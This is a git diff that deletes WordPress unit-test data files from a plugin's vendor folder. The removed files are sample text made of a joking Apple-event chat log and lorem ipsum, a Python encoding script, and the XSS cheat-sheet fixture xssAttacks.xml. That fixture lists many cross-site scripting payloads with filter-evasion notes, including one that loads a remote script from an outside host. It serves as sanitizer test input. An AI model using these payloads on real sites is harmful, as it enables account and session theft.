          It looks more bronze today... did he go gold?

          - -

          Hhmm. -Maybe. -Hanging out with Jony.

          - -

          Wait... what? -LOL -My door is open Craig! My door is open!

          - -

          Oh Craig, I was on the Apple Campus when he did his first event and he was NERVOUS.

          - -

          He likes to talk with hand motions.

          - -

          Run ALL the apps!

          - -

          GRADIENTS ON EVERYTHING! -Whoa! That\'s a small number!

          - -

          I love it.

          - -

          AND NOW ITS A BIG NUMBER AGAIN!

          - -

          Wait, where are we. Someone brought me a cable that looks like S-Video to USB ... which is basically impossible.

          - -

          LOL -Seems legit.

          - -

          They love their “x”s.

          - -

          Yay! updates to a browser I don\'t use! -You can play tag in the finder!

          - -

          Display-handling is much better. -Ah, I love flubs. They aren’t robots.

          - -

          ...is with a new computer!

          - -

          Lip sync.

          - -

          And here we have a new Mac Pro driving two 4K monitors.

          - -

          The mac has no equal when it comes to running Pages.

          - -

          You can have it for only 75,000 euros.

          - -

          Which is like 34 cents American.

          - -

          Apple rocket!

          - -

          Jony has some in the lab.

          - -

          "We bought NASA"

          - -

          iLaunch

          - -

          Got a good deal from the government.

          - -

          Launch pad

          - -

          Oooh, those are new icons.... is this a new Pages?

          - -

          I have a feeling Amazon would buy NASA before Apple.

          - -

          Did I miss him saying that this is a new Pages?

          - -

          Probably just Bezos. -No.

          - -

          Free shipping to Mars.

          - -

          He hasn’t said it yet ...

          - -

          That would make sense, because it would be silly for them to give old features... but those are new icons! -PAGES 2014!!!

          - -

          Maybe the rover needs a new iPhone.

          - -

          LOL

          - -

          Oh Craig. -Nice work bringing the wife into the event.

          - -

          Dang, he\'s taken ;-p -He\'s canceling that account the minute he gets off stage.

          - -

          And now my social security number...

          - -

          There\'s probably an intern doing that for him right now.

          - -

          But you\'ll never get my thumbprint.

          - -

          THIS DEMO IS FANTASTIC -It\'s more of a comic routine than anything new.

          - -

          New calendar app! *rimshot*

          - -

          Alright, now for the good stuff! -... date ... price ...

          - -

          so we actually released it yesterday!

          - -

          Free.

          - -

          ... Wait... wait -wait...

          - -

          It’s free. -Has to be free.

          - -

          New era.

          - -

          Or they’re going to pay you!

          - -

          has to be fre:OIHSEg;kuahrg ouhWTPOIUGGSR:IGH SK>JGu;SFghe -a;ofg ;SFUY[OISDUg;aefgn.kajefhg ;oadufghd -;oaeirgp ;Skadgipy9q347t;gkufbvzkdjb;adigue -a;eorpugy ap97fdgy bpiduzlfbkv.zkjxcvh;a owithg2;iuhlzbdfjk

          - -

          And it was shipped last week! -Come on Craig ...

          - -

          With the purchase of an overpriced machine.

          - -

          FREE FOR EVERYONE -LIKE LINUX

          - -

          That’s awesome. Great work.

          - -

          Wow -Wow -Woooooow!

          - -

          Entitled to Mavericks.

          - -

          TODAY!! -A:OIY POGUSRH:IGUHSFPIUG&SF*I

          - -

          BOOM!

          - -

          I"M CALLING IN SICK.

          - -

          Siracusa just cried.

          - -

          Ok. Presentations over. Go get Mavericks.

          - -

          LOL

          - -

          I\'M NOT BACKED UP!!!

          - -

          UNTUCKED SHIRT!

          - -

          I WASN\'T PREPARED FOR THIS

          - -

          This is great news. I like that they’re going free for everyone. That’s awesome.

          - -

          Cue Video of People screaming and running out of Apple stores with free OS

          - -

          LOOT ALL THE THINGS

          - -

          That is the problem. -I still remember paying $129 for Tiger.

          - -

          Oooh, Macbook Pro update?

          - -

          FOR A BOX! -That poor tree. -Haswell. -I’m guessing non-Retina is dead.

          - -

          WHAT? HOW CAN THEY DO THIS BLACK MAGIC!?!?

          - -

          So thin you can cut yourself on the edges.

          - -

          ... and it is purple. -That’s good news. -Prices Phil.

          - -

          The Black Knight.

          - -

          I only buy purple computer chips.

          - -

          Only on iTunes.

          - -

          Same here.

          - -

          WIFI has air conditioning now!

          - -

          I’m guessing hardware decoding helps with that.

          - -

          !!!! -That\'s not much more than my air... -TODAY!!??!

          - -

          MacBook Air is free!

          - -

          We\'re going FREE in a BIG WAY.

          - -

          No more non-Retina.

          - -

          5C is free cause we can\'t sell them all.

          - -

          We\'re printing money, you can have anything for free at this point.

          - -

          And a toaster!

          - -

          We\'ll just make more money to cover the cost.

          - -

          $1799. -BLAH!

          - -

          Free posters for your wall with petals.

          - -

          Duh.

          - -

          I didn\'t realize that computers were so expensive.

          - -

          LOL

          - -

          MORE CHECKBOXES!!

          - -

          Free Mercury!

          - -

          That $1299 13” is tempting.

          - -

          Mac Pro.

          - -

          A very significant, if unsurprising update. -“blown away”

          - -

          Blown away by the Trash can.

          - -

          That is one powerful fan.

          - -

          I think this is all cinema 4D... I don\'t think they actually built one.

          - -

          They’re just going to bring out an old case.

          - -

          "Simply remarkable."

          - -

          The Mac Pro is virtual. You don\'t get a box. -Cloud based.

          - -

          LOL

          - -

          THE FASTEST MEMORY!* (*that we have ever put in a mac)

          - -

          We finally put graphics cards that aren\'t old in a Mac.

          - -

          That is some speedy storage. -Yup, spinning rust taps out at about 120 MB/sec.

          - -

          We\'ll even sell you this case that matches to put your drives into!

          - -

          For a single drive. -Who is going to be the first to mod a real Trash can with a RAID array to Thunderbolt?

          - -

          I can\'t wait to see the enclosures people make to go with this device.

          - -

          Row of Trash cans daisy chained together.

          - -

          Packed and built for expansion.

          - -

          It\'s only one Mac Pro. I know it looks like ten.

          - -

          That is one dense machine.

          - -

          "We can\'t imagine what people can do with this."

          - -

          So we’ve decided to not sell it to people ... only robots!

          - -

          FREE

          - -

          Final Cut Pro X. It\'s all Downhill from here.

          - -

          I do not know these people.

          - -

          And... that\'s why...

          - -

          I think Phil probably sleeps with these things.

          - -

          This Mac Pro is killer.

          - -

          This Mac Pro is (a) killer. -Whew. -This is going to get expensive fast.

          - -

          3K. hmmm

          - -

          Not terrible. However, now I need to price out the TOP OF THE LINE model and find out if it can cost more than my house. -Should be able to do it.

          - -

          SO RECYCLABLE that you can throw it into the Trash... or use it as a Trash can.

          - -

          30k

          - -

          "THIS CHART PROVES IT"

          - -

          That cannot be understated, less power is a big deal when you get some space heaters together. -Whew. That’s nuts. -I have a Mac mini under my desk right now.

          - -

          You\'re nuts. -You\'re going to buy like 6 of these.

          - -

          I wish.

          - -

          We made another video for you!

          - -

          NEW VIDEO

          - -

          I wonder how hard of a sell a lab of Mac Pros would be. -There you go Aaron.

          - -

          Better be edited on FCPX.

          - -

          I want to hear the disembodied voice of Jony Ive!

          - -

          JEFF WILLIAM THE COMPOSER!... oh wait... not the same guy.

          - -

          Not this Williams fellow!

          - -

          Shiny, captain.

          - -

          Robots!

          - -

          Oh, he has a Jarvis too!

          - -

          This is what having 100+ billion in the bank can do for your product line.

          - -

          Who assembles the assembly line?

          - -

          I want a tour .

          - -

          It is like a freaking laboratory for a single computer line from a single company. -Alright, I want one. -Crap.

          - -

          If I buy a Mac Pro do I get an assembly line tour too?

          - -

          How to convince my boss to get me two ... -Maybe when you get the top-of-the-line model?

          - -

          There\'s more!?!?!?

          - -

          EDDIE!

          - -

          Eddie! -Who is Eddie?

          - -

          Appses

          - -

          He seems like a mobster.

          - -

          BIGGEST UPDATES EVER

          - -

          LOL -Another drink?

          - -

          He is a mobster.

          - -

          He does do the negotiating.

          - -

          WE REDESIGNED THE ICONS!

          - -

          LOL

          - -

          Designed to look different!

          - -

          We are going to kill the competition.

          - -

          Crap. I am going to spend money. -64-bit!

          - -

          It\'s all free Bob! -IT\'S ALL FREE!

          - -

          I wish I could get a free Mac Pro. -I spent $2000 on my original 15” PowerBook G4 ... $3K on a Mac Pro ...

          - -

          I you have iOS, because, let\'s be honest, we know you do, and if you don\'t security will escort you out.

          - -

          LOL

          - -

          You have to show your iPhone to get in.

          - -

          Photo Books are extremely popular. Bringing them to the iPad is an excellent move.

          - -

          iPhoto! The same, but we changed the icon!

          - -

          “amazing”

          - -

          iMovie is new from the ground up! Because we like to do that every so often... -You don\'t need to edit!

          - -

          iMovie has ONE button now!

          - -

          New design! Because we can\'t quite figure this out for reals...

          - -

          WHAT WIZARDS DO THEY HIRE!

          - -

          We simplified the interface, so that you can\'t actually do anything with the things... because that\'s complicated and we want it to be simple.

          - -

          I think we call this “value add.”

          - -

          iMovie theater. More file management users won\'t understand.

          - -

          Geez Apple ...

          - -

          The most popular musical creation app... in the world... that is part of ilife... -It\'s asterisks all the way down.

          - -

          Remember when we couldn’t even make phone calls from our phones because we didn’t have one ... now you can record whole albums from one. -LOL

          - -

          Everything is killer .

          - -

          I don\'t remember that.

          - -

          Serials.

          - -

          Click the drummer button, and we\'ll send one to your house.

          - -

          WE NO LONGER NEED DRUMMERS!

          - -

          Siri. I need a beat.

          - -

          OR HUMANS!

          - -

          What is this I don\'t even...

          - -

          The drummers have names.

          - -

          "We have so much money we\'re trying to spend it as fast as we can, but it\'s just not working... we really don\'t understand it..."

          - -

          In. App. Purchase.

          - -

          @aaron - Unlike real drummers... who don\'t have names.

          - -

          Is that a bio next to the photo?

          - -

          I have a feeling that he drew the short straw because this is his baby.

          - -

          DRUMMER

          - -

          Mobster.

          - -

          "That was AWESOME... I love garageband..."

          - -

          He just gets stuff done.

          - -

          Is he drunk?

          - -

          NO! -I WANT FREE FOR EVERYONE!

          - -

          FREE drummers.

          - -

          AUUGH... free for everyone plz!

          - -

          ...I guess I need to purchase a new Mac. -NEW ICONS! -64-bit please?

          - -

          Free pizza tray where the optical drive used to be.

          - -

          Collaboration?

          - -

          Of course it\'s 64 bit. It\'s free for new users.

          - -

          Could it be a pizza oven?

          - -

          Because SCREW PEOPLE WHO NEED TO UPGRADE.

          - -

          Drummers don\'t work on an empty stomach

          - -

          We can\'t afford to give EVERYONE iWork.

          - -

          You could probably cook a pizza on top of a Mac Pro.

          - -

          Will drum for food.

          - -

          Microsoft Office sucks. -That is what he meant.

          - -

          What hasn\'t apple reinvented?

          - -

          The Mac Pro had an integrated stovetop.

          - -

          LOL

          - -

          I like that.

          - -

          MacPro Grill.

          - -

          It now presents for us?

          - -

          WHAT!?!?!?

          - -

          I’m sure no one noticed. -Plus, if it crashes, no one will care.

          - -

          PLOT TWIST

          - -

          Video of famous director eating grilled Sandwich while swiping with greasy fingers.

          - -

          WHOA

          - -

          LOL

          - -

          DEMO!

          - -

          I still feel like Eddie Cue should be knocking the heads of the movie studios right now.

          - -

          No one lets you do what we do with our app because no one loves you like apple loves you. -That\'s easy to imagine

          - -

          Plus, he has a great mobster name.

          - -

          HE\'s a rapper! -BLING BLING

          - -

          He wears a Mac Pro on a chain around his neck.

          - -

          LOL -Steve is rolling in his grave.

          - -

          Oh a semi-serious note, I like that they take pots at themselves and each other.

          - -

          POT. That\'s probably the problem.

          - -

          All their meetings are nonsense and jokes now that Steve isn\'t there to tell them to get back to work.

          - -

          LOL

          - -

          Bob, did you see John Siracusa\'s tweet?

          - -

          Yes I did. -I have a feeling “scrambling” doesn’t get to the heart of that.

          - -

          Oh geez.

          - -

          WAIT WAIT WAIT ... IS THIS COLLABORATION!

          - -

          Not by my definition...

          - -

          Stuck on a PC. -Free.

          - -

          FREE FOR EVERYONE -... NOPE, Chuck Testa! -With new purchase.

          - -

          . -Today

          - -

          I\'m just going to sell my Macbook air and buy a new one.

          - -

          Always. -CRUDDY CRUD CRUD!

          - -

          The biggest day ever for apps.

          - -

          Geez ... 20 apps!

          - -

          Apple doesn\'t care about previous customers

          - -

          ... COME ON PODCAST.APP!

          - -

          20 apps? -I only saw 3 -or 4

          - -

          They’re pushing updates for 20 apps today.

          - -

          iPad announcement?

          - -

          On it\'s ear!

          - -

          I’m guessing that is next. We’re only one hour in.

          - -

          ON IT\'S EAR -$1.99 upgrades! -FREE MACS FOR EVERYONE!

          - -

          LOL

          - -

          TIM COOK FOR PRESIDENT!

          - -

          I remember paying $10 for the iPod touch update. -The sad part, they could give away almost everything and they’d still make money. -Netbooks are old Chromebooks ...

          - -

          LOOK AT ALL THESE LARGE NUMBERS! -this chart proves that bigger numbers are near the top of the chart!

          - -

          That curve is going up and to the right!

          - -

          Maybe they flipped the chart?

          - -

          I can\'t think of another product that has sold this many numbers of product!

          - -

          Doubters...

          - -

          NO ONE has ever sold 170 million of anything!

          - -

          Blueberry Pie chart.

          - -

          Too bad I don’t like blueberries.

          - -

          Look at this pie chart! We\'re larger than the thing that isn\'t us!

          - -

          iPad now blue flavored.

          - -

          Since we started tracking this, we have been the best at tracking this.

          - -

          iOS 7.1 today?

          - -

          No one else can match this. NO ONE.

          - -

          More zeroes.

          - -

          If we say this enough, everyone will believe it.

          - -

          Productive. -Look a racing game!

          - -

          Too much exposition. -“No new iPads!” -“We designed iPad ...” -Like a family pet.

          - -

          Video!

          - -

          “We fed Molly...”

          - -

          Video!

          - -

          LOOK AT ALL THESE BIG NUMBERS!!! But let\'s be honest, it\'s not about the numbers... though, our numbers are bigger than other people\'s numbers, but we really want to focus on our Quality... OF THIS NEW VIDEO!

          - -

          They should do an audio-only video.

          - -

          Look Bob! A farming app!

          - -

          I WAS COMBINING THIS WEEKEND!

          - -

          It\'s like they understand you!

          - -

          Sadly, that particular one is tied to a particular system on very expensive new machines.

          - -

          This is the best video.

          - -

          Look, here\'s a firefighter playing angry birds.

          - -

          Surgeons playing ERT2

          - -

          I’ve personally used my iPad for business meetings. -How are these people getting cell reception in these areas!?

          - -

          It\'s much more interesting to look at the world through your iPad if you\'re at the great wall of China.

          - -

          I want to know how many of the shots are real. Some seem too good to be true

          - -

          That\'s an amazing video... -And amazing stories...

          - -

          Lots of helicopter shots.

          - -

          ...so we hire pixar to make movies about every scene in that video. -HEY! IT\'S OTHER ME!

          - -

          Phil’s back! -BRING US CRAIG!

          - -

          Hello! -13 INCH IPAD

          - -

          Craig is doing his hair.

          - -

          And tucking in his shirt. -"Relentless path"

          - -

          Remarkable. -DRINK!

          - -

          Biggest step.

          - -

          "Incredible vision," "Quite remarkable" -In VIDEO FORM!

          - -

          Video.

          - -

          Why do we hate articles?

          - -

          It\'s anti gravity!

          - -

          No TouchID.

          - -

          Wait, what?

          - -

          I didn’t see it.

          - -

          NEW NEW IPAD

          - -

          iPad Air? -WHAT THE FREAK!?

          - -

          iPad air? Really?

          - -

          Wait... 9.7 is air?

          - -

          Has to be pricing pressure.

          - -

          So... what happened to the mini?

          - -

          Drop the price on Fat iPad.

          - -

          The NEW NEW IPAD AIR MINI!

          - -

          Drop the price on iPad mini.

          - -

          That\'s an amazingly thin iPad!

          - -

          Little numbers!

          - -

          Nicely stated Aaron.

          - -

          LOOK AT HOW SMALL THESE NUMBERS ARE! No one has numbers this small!

          - -

          More tiny numbers.

          - -

          No way lighter?

          - -

          It would be awesome if it were heavier.

          - -

          It\'s so light it might blow away outdoors.

          - -

          Lightest Full size tablet in the world*

          - -

          “We’ve made it out of lead!” -A7 ...

          - -

          The AIR... BLOWS everything away... get it? get it? get it?

          - -

          Which is good, but ... TouchID?

          - -

          Blue curves!

          - -

          Too thin for touch id.

          - -

          That’s important because IT IS PUSHING DESKTOP RESOLUTION! -That’s my thought as well.

          - -

          What\'s MIMO?

          - -

          Using multiple antenna for wifi.

          - -

          hmmm

          - -

          Faster, better range, etc. -“It is better, you’re going to buy it, so just go now.”

          - -

          Dual microphones! Stereo recordings! -No gold?

          - -

          Same battery life that much thinner and lighter, what are they doing?

          - -

          Magic.

          - -

          $4.99! WERE GOING FREE BABY!

          - -

          WHAT!? -IPAD 2 IS STILL AROUND!?

          - -

          We\'re keeping this iPad around for people who still like things that weigh a ton.

          - -

          Has to do with graphics only, the A6X and A5X were SERIOUSLY underpowered graphics wise.

          - -

          Video!

          - -

          Please bring Jony ... -YES!

          - -

          JOHNNY IVES!

          - -

          Jony Ives.

          - -

          Aluminium ... come on ... say it ... -I was afraid that Jony has left ...

          - -

          Robot that drops iPads.

          - -

          Is the mini gone?

          - -

          Airplanes!

          - -

          Don’t know yet. We’ll see. -AND AIRPLANES!

          - -

          More planes.

          - -

          LOL

          - -

          THE IPAD AIR ... GET IT ... AIRPLANES! -PEOPLE JUMPING IN THE AIR!

          - -

          I don\'t understand.

          - -

          STANDING IN AIR!

          - -

          That\'s looked like an expensive apartment.

          - -

          Can you explain it?

          - -

          Craig!

          - -

          YES! -BRING OUT CRAIG!

          - -

          Tom Merritt: "We have machined the tears of unicorns into the edge and compressed babies wishes into it\'s case. It weighs 1 butterfly kiss." -"The newest thing we built is the most advanced thing we have ever built"

          - -

          And now we’ve decided to discontinue it and release the iPad nano!

          - -

          He\'s struggling for a list of things that people do with their iPad... CRASH AND BURN!

          - -

          It is hard when they do so many things. -Missed it, what was announced? -Ah, Retina ...

          - -

          It\'s only $399!

          - -

          LOL

          - -

          You can hear a pin drop in the audience.

          - -

          LOL -A significant price point, but ... eh.

          - -

          Oh, $299... and then they clap...

          - -

          I cannot believe that the iPad 2 is hanging around. -Truly a zombie. -Did I miss the fact that the Air has an A6X? -Sorry, mini.

          - -

          Reach under your seat. Free iPads for everyone

          - -

          Another video -It\'s hiding behind this pencil.

          - -

          Ipencil.

          - -

          iPad. iPad 2. New iPad. iPad Air. Because we can\'t figure out a naming scheme that works...

          - -

          Just play the Mac Pro assembly line video again.

          - -

          No musical guest? SELL YOUR STOCK

          - -

          Eddy. -He\'s gonna play.

          - -

          4 grand for the 6-core Mac Pro. -6 GB of video RAM.

          - -

          Hmmm

          - -

          Thank you gentleman.

          - -

          No, thank you.

          - -

          Thanks for a magical event

          - -

          Darn right!

          '), - -/* DIVIDER */ - -array('Lorem ipsum dolor sit amet, quo id ignota repudiare, ius iracundia rationibus an, ea natum causae epicuri has. - -His porro deleniti cu. "Eam ut quem alia reprimique." Quas tollit tincidunt his eu, nam ex cibo illud cetero. In perpetua dignissim mel, te utinam vituperata per. - - Erat tibique hendrerit et duo, qui iriure tacimates ne, per eu solum admodum ocurreret. Cu ius utinam equidem saperet, mei tation nostrud scripserit ne. Sea et vide natum. Homero constituto eu est, quo eu veniam omnium feugait. Vel enim commune no. - - Option verterem eum te, quot discere neglegentur nam at. No rebum convenire disputationi pro, libris possim eruditi (id) est. Unum ubique scaevola sed ad. Quas decore periculis ius eu, quod nibh quando ea ius. Ea essent omnesque mei, possit verear aperiri ea mel, mea fabellas urbanitas pertinacia ei. Maiorum sensibus at duo, eum ea veritus splendide. - - Ex quo noster alterum sanctus. Vel ei blandit adversarium, ad iriure scripta eruditi nam. Quo semper noluisse consectetuer te. Probatus mediocritatem necessitatibus ne pro. Vix ne consul soluta dissentiet. - - Vix augue vivendum sadipscing ei, diam elaboraret scribentur no mea. Te pri nullam reprehendunt, ornatus maiorum ne qui. Et mei accusam singulis. Et est intellegat posidonium, no usu purto bonorum facilisi. Saperet cotidieque eu mel. - - Nonumy pericula vis id, illum nobis aliquando cum ei, altera aeterno mediocritatem pro ea. At duo quaeque dolorem. Vidit tantas ea vim, quis feugiat delenit vix ad, te per choro omnesque. Eum id duis facilisis. Purto intellegat duo no, ne ipsum praesent moderatius vis, et meliore scriptorem vim. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
          Lorem ipsumLorem ipsum
          RequirementsMinimumsStatusMinimumsStatus
          AgeLorem ipsumYesLorem ipsumYes
          TotalLorem ipsum100%Lorem ipsum100%
          EducationLorem ipsumYesn/a
          ConcentrationLorem ipsumYesn/a
          CertificationLorem ipsumNon/a
          Recognized CourseworkLorem ipsumTBDn/a
          Lorem ipsumLorem ipsumYesn/a
          Lorem ipsumLorem ipsumYesn/a
          Lorem ipsumLorem ipsumYesn/a
          Lorem ipsumLorem ipsumYesn/a
          Lorem ipsumLorem ipsum80%200 hours80%
          Lorem ipsumLorem ipsumby credit100 hoursby credit
          Lorem ipsumLorem ipsum60%50 hours60%
          Lorem ipsumLorem ipsumby credit75 hoursby credit
          Lorem ipsumLorem ipsumYes250 hoursYes
          Lorem ipsumLorem ipsumYes100 hoursYes
          Lorem ipsumLorem ipsumYes25 hoursYes
          Lorem ipsumEffective Aug 2014n/an/a
          Lorem ipsumLorem ipsumDec \'14Dec \'14
          Lorem ipsumLorem ipsumYes2nd ClassYes
          -Tota offendit sea et, ne vim dicam admodum blandit. No vix quas nusquam. Putant scripta fierent mei ea. Eum ei putant persius probatus, quo ea wisi electram. - - Eu illud definiebas honestatis sit. Eam exerci deseruisse ei, ex cum erant tacimates. Enim eros id vel, vidisse abhorreant cu eum. Et saperet appellantur est, eum esse soluta recusabo ad. Eam malis sensibus ea. - - Exerci scripta at est. His ei nostrum perfecto, accumsan eligendi tincidunt an eum. Ius tempor aperiam ea, mei autem lorem eu. Vis duis modus ornatus no, alia malis ornatus mea et, ea eros probatus qui. - - Mazim assentior mel te, rebum periculis constituam nec ut. In ferri admodum deleniti eum, nam te quas nominati appellantur. Est at erat pertinax, no sit nulla placerat. Munere euripidis ad has. - - Magna graeco oblique vel ea, no movet aliquando mea. Eum no sadipscing delicatissimi, doctus consequuntur eu sed. Sed in persius eleifend, regione euismod no per. Ei pri vivendum gubergren, vix at eligendi invenire aliquando, brute malorum id usu. Cum tantas prodesset consequuntur ei, eum liberavisse delicatissimi vituperatoribus at. - - Cu bonorum graecis ius. Duo id ancillae probatus. Tota latine pri an. Cum ei iudico semper. Eum in blandit voluptaria. - - Illud debet vitae ex vis numquam.'), - -/* DIVIDER */ - -);}?> \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/windows1252.py b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/windows1252.py deleted file mode 100644 index bca7499b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/windows1252.py +++ /dev/null @@ -1,27 +0,0 @@ -# Generates test data for functions converting between -# dodgy windows-1252-only values and their unicode counterparts - -unichars = ["201A", "0192", "201E", "2026", "2020", "2021", - "02C6", "2030", "0160", "2039", "0152", "2018", - "2019", "201C", "201D", "2022", "2013", "2014", - "02DC", "2122", "0161", "203A", "0153", "0178"]; - -winpoints = [] -unipoints = [] - -for char in unichars: - char = unichr(int(char, 16)) - dec = ord(char) - win = ord(char.encode("windows-1252")) - - unipoints.append(dec) - winpoints.append(win) - -def entitize(s): - return "&#%s;" % s - -winpoints = map(entitize, winpoints) -unipoints = map(entitize, unipoints) - -print "".join(winpoints), "".join(unipoints) - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/xssAttacks.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/xssAttacks.xml deleted file mode 100644 index 42f3dd12..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/formatting/xssAttacks.xml +++ /dev/null @@ -1,976 +0,0 @@ - - - - XSS Locator - ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - XSS Quick Test - '';!--"<XSS>=&{()} - If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - SCRIPT w/Alert() - <SCRIPT>alert('XSS')</SCRIPT> - Basic injection attack - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - SCRIPT w/Source File - <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> - No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - SCRIPT w/Char Code - <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - BASE - <BASE HREF="javascript:alert('XSS');//"> - Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - BGSOUND - <BGSOUND SRC="javascript:alert('XSS');"> - BGSOUND - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - BODY background-image - <BODY BACKGROUND="javascript:alert('XSS');"> - BODY image - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - BODY ONLOAD - <BODY ONLOAD=alert('XSS')> - BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - DIV background-image 1 - <DIV STYLE="background-image: url(javascript:alert('XSS'))"> - Div background-image - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - DIV background-image 2 - <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> - Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - DIV expression - <DIV STYLE="width: expression(alert('XSS'));"> - Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - FRAME - <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> - Frame (Frames have the same sorts of XSS problems as iframes). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - IFRAME - <IFRAME SRC="javascript:alert('XSS');"></IFRAME> - Iframe (If iframes are allowed there are a lot of other XSS problems as well). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - INPUT Image - <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> - INPUT Image - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG w/JavaScript Directive - <IMG SRC="javascript:alert('XSS');"> - Image XSS using the JavaScript directive. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG No Quotes/Semicolon - <IMG SRC=javascript:alert('XSS')> - No quotes and no semicolon - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG Dynsrc - <IMG DYNSRC="javascript:alert('XSS');"> - IMG Dynsrc - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - IMG Lowsrc - <IMG LOWSRC="javascript:alert('XSS');"> - IMG Lowsrc - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - IMG Embedded commands 1 - <IMG 